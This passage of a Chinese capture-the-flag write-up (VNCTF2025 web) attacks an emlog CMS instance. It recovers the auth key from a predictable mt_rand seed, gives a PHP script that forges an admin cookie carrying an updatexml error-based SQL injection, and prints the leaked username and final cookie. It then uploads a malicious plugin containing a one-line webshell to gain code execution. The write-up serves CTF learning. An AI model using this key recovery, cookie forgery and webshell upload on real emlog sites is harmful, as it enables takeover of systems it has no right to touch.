2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
function getRandStr($length = 12, $special_chars = true, $numeric_only = false)
{
if ($numeric_only) {
$chars = '0123456789';
} else {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
if ($special_chars) {
$chars .= '!@#$%^&*()';
}
}
$randStr = '';
$chars_length = strlen($chars);
for ($i = 0; $i < $length; $i++) {
$randStr .= substr($chars, mt_rand(0, $chars_length - 1), 1);
}
return $randStr;
}
mt_srand(2430606281);
echo getRandStr(32);

AUTH_KEY = yxuzKkM2QC8L8WLPFvawb(mI4R&NglOA+md5(getUA())

UA头在哪呢?在第一篇文章里:

image-20250210141737156

1
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36

所以全部的AUTH_KEY = yxuzKkM2QC8L8WLPFvawb(mI4R&NglOA558fb80a37ff0f45d5abbc907683fc02

写个脚本生成我们需要的cookie:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
function emHash($data)
{
return hash_hmac('md5', $data, "yxuzKkM2QC8L8WLPFvawb(mI4R&NglOA558fb80a37ff0f45d5abbc907683fc02");
}

$expiration = 1000000000;
$username = "x' and updatexml(1,concat(0x7e,(select(substr(username,1,16))from(emlog_user)),0x7e),1) #";
$key = emHash($username . '|' . $expiration);
$hash = hash_hmac('md5', $username . '|' . $expiration, $key);

$cookie = $username . '|' . $expiration . '|' . $hash;
echo $cookie;

别忘了cookie的名字为EM_AUTHCOOKIE_RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr

image-20250210151701469

由于报错注入的长度限制,需要注入两次。爆出一个用户名为:1QXgVCpRbGseY_UA6DPDV1K8XOCZHUxm

1
EM_AUTHCOOKIE_RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr=1QXgVCpRbGseY_UA6DPDV1K8XOCZHUxm|0|24bfcd1c52901da1990bace5424893c1

这就是最终的cookie,成功进入后台。

image-20250210152050162

在插件这一栏,可以上传插件,我们写一个恶意插件。

在123文件夹内,第一个插件本体是一句话木马。

image-20250210153134950

上传上去后,访问/content/plugins/123/123.php即可rce

image-20250210153056281


VNCTF2025 Web WP
http://example.com/2025/02/08/VNCTF2025/
作者
Infernity
发布于
2025年2月8日
许可协议